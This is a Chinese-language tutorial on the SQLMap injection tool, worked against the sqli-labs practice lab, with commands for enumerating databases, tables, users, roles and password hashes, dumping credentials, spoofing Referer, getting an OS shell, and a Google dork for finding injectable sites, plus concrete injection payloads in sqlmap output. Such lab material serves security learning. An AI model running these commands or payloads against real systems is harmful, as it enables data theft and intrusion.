SQLMap简介

  • SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
  • 支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,SybaseSAP MaxDB
  • sqlmap支持五种不同的注入模式:
  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  4. 联合查询注入,可以使用union的情况下的注入;
  5. 堆查询注入,可以同时执行多条语句的执行时的注入;
  • 以下采用sqli-labs靶场为实例工具

SQLMap基础操作

常用命令及参数

  • 查看sqlmap的命令帮助手册
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -h,--help       #显示基本帮助信息并退出
    -u "url" #检测注入点
    --dbs #列出所有数据库的名称
    --current-db #列出当前数据库的名称
    -D #指定一个数据库
    --table #列出所有表名
    -T #指定表名
    --columns #列出所有字段名
    -C #指定字段
    --dump #列出字段内容
    -r XXX.txt #post注入,XXX.txt为http数据包
    -cookie #指定cookie
    -os -shell #获取shell
    sqlmap -g "inurl:php?id=" #利用Google自动搜索注入点

判断是否存在注入

  • 以sqli-labs-less-1为例
  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1"
    image.png
    1
    2
    3
    [21:04:29] [INFO] the back-end DBMS is MySQL
    web application technology: PHP 5.4.45, Apache 2.4.39
    back-end DBMS: MySQL >= 5.6
  • 出现以上信息,显示存在注入
  • 当SQLMap执行该命令时,它会执行以下步骤:
  1. 判断可注入的参数;
  2. 判断可以用哪种SQL注入技术来注入;
  3. 识别出哪种数据库;
  4. 根据用户选择,读取哪些数据。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ---
    Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4622=4622 AND 'Ihts'='Ihts

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=2' AND GTID_SUBSET(CONCAT(0x7171766271,(SELECT (ELT(8159=8159,1))),0x7170766271),8159) AND 'UFpr'='UFpr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 6178 FROM (SELECT(SLEEP(5)))AVtu) AND 'YciD'='YciD

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8329' UNION ALL SELECT NULL,CONCAT(0x7171766271,0x644b754a625073464c596c784579745179626a55784b52796e49735569565054525245766241426c,0x7170766271),NULL-- -
    ---
  • 给出的信息当中显示,可以注入的参数是id
  • 可以使用布尔盲注、报错注入、时间注入、联合注入

列出所有数据库的名字

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" --dbs
    image.png
  • 通过这个命令可以直接获取到所有数据库的名字
  • 当继续注入时,-dbs缩写成-D XXX,意思是在XXX数据库中继续查询其他数据

获取数据库中的表名

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" -D security --tables
    image.png
  • 通过这个命令,可以获取到指定数据库的所有表名
  • 当继续注入时,-tables缩写成-T,意思是在指定表继续查询

获取表中的字段名

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
    image.png
  • 通过这个命令,可以获取到指定表的所有字段名
  • 在后续的注入中, -columns缩写成-C,意思是在指定字段名查询

获取字段内容

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump
    image.png
  • 通过这个命令,可以获取到指定字段内容

获取数据库的所有用户

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" --users
    image.png
  • 该命令的作用是列出数据库的所有用户
  • 在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

获取数据库用户的密码

  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" --password
  • 该命令的作用是列出数据库用户的密码,如下所示,如果当前用户有读取包含用户密码的权限, SQLMap会先列举出用户,然后列出Hash ,并尝试破解。

判断文本中的请求是否存在注入

image.png

  • 用burpsuite抓包工具抓取到加载HTTP请求,将内容放入文本文档当中
    image.png
  • sqlmap -r less-1.txt
    image.png
  • -r通常用于存在cookie注入时使用

SQLMap进阶操作

探测等级

  • --level 5指需要执行的测试等级,一共有5个等级
  • 默认是1,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。
  • 总之,在不确定哪个Payload或者参数为注入点时,为了确保全面性,建议使用高的level值。

当前用户是否为管理权限

  • 该命令用于查看当前账户是否为数据库管理员账户
  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" --is-dba
    image.png

列出数据库管理员角色

  • 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的 表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。
  • sqlmap -u "http://192.168.3.3/sqli-labs-master/Less-1/?id=1" --roles
    image.png

HTTP Referer头

  • Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
  • SQLMap可以在请求中伪造HTTP中的refer”当level参数设定为3或3 以上时,会尝试对refere注入。可以使用refere命令来欺骗,如 --referer http:// www.baidu.com

运行自定义SQL语句

  • 该命令用于执行指定的SQL语句
  • select * from users limit 0,1为例
    image.png